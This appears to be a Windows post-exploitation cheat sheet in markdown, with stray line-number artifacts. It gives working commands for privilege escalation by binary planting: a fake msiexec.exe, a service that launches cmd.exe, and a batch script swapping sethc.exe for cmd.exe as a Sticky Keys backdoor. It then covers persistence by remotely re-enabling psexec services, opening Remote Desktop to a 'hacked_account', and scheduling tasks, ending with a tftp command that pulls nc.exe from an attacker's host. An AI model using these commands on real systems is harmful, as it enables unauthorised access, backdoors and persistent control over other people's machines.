# Windows Binary Planting
2+
3+
Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.
4+
5+
| Command | Description / Importance |
6+
| ------- | ------------------------ |
7+
| `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. |
8+
| `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
9+
| `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. |
10+
| `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. |
11+
|<code>Replacing file as: sethc.exe<br>@echo off <br>c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul <br>if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul <br>cmd %SYSTEMROOT%\System32\cmdsys\ > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul <br>copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul <br>copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul<br>exit</code> | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. |

# Windows General Persistence Commands
13+
14+
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15+
16+
17+
### Enable `psexec`
18+
The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
19+
20+
``c:\> net use \\[TargetIP]\ipc$ username /user:password
21+
c:\> sc \\[TargetIP] config netdde start= auto
22+
c:\> sc \\[TargetIP] config netddedsdm start= auto
23+
c:\> sc \\[TargetIP] config clipsrv start= auto
24+
c:\> sc \\[TargetIP] start netdde
25+
c:\> sc \\[TargetIP] start netddedsdm
26+
c:\> sc \\[TargetIP] start clipsrv
27+
``
28+
29+
### Enable Remote Desktop
30+
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
31+
32+
1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
33+
34+
<pre>
35+
[Unicode]
36+
Unicode=yes
37+
[Version]
38+
signature="$CHICAGO$"
39+
Revision=1
40+
[Privilege Rights] [Privilege Rights]
41+
seremoteinteractivelogonright = hacked_account
42+
seinteractivelogonright = hacked_account
43+
sedenyinteractivelogonright =
44+
sedenyremoteinteractivelogonright =
45+
sedenynetworklogonright =
46+
</pre>
47+
48+
1. Create another file named `enable_ts.reg` containing the contents below.
49+
50+
<pre>
51+
Windows Registry Editor Version 5.00
52+
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
53+
"fDenyTSConnections"=dword:00000000
54+
"TSEnabled"=dword:00000001
55+
"TSUserEnabled"=dword:00000000
56+
</pre>
57+
58+
1. On the remote system, execute the following commands:
59+
60+
``c:\> sc config termservice start= auto sc config termservice start= auto
61+
c:\> regedit /s enable_ts.reg
62+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
63+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
64+
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
65+
c:\> gpupdate /Force
66+
c:\> net start "terminal services"
67+
``
68+
69+
### Scheduler
70+
The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.
71+
72+
``c:\> net use \\[TargetIP]\ipc$ password /user:username
73+
c:\> at \\[TargetIP] 12:00 pm command
74+
``
75+
76+
An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`
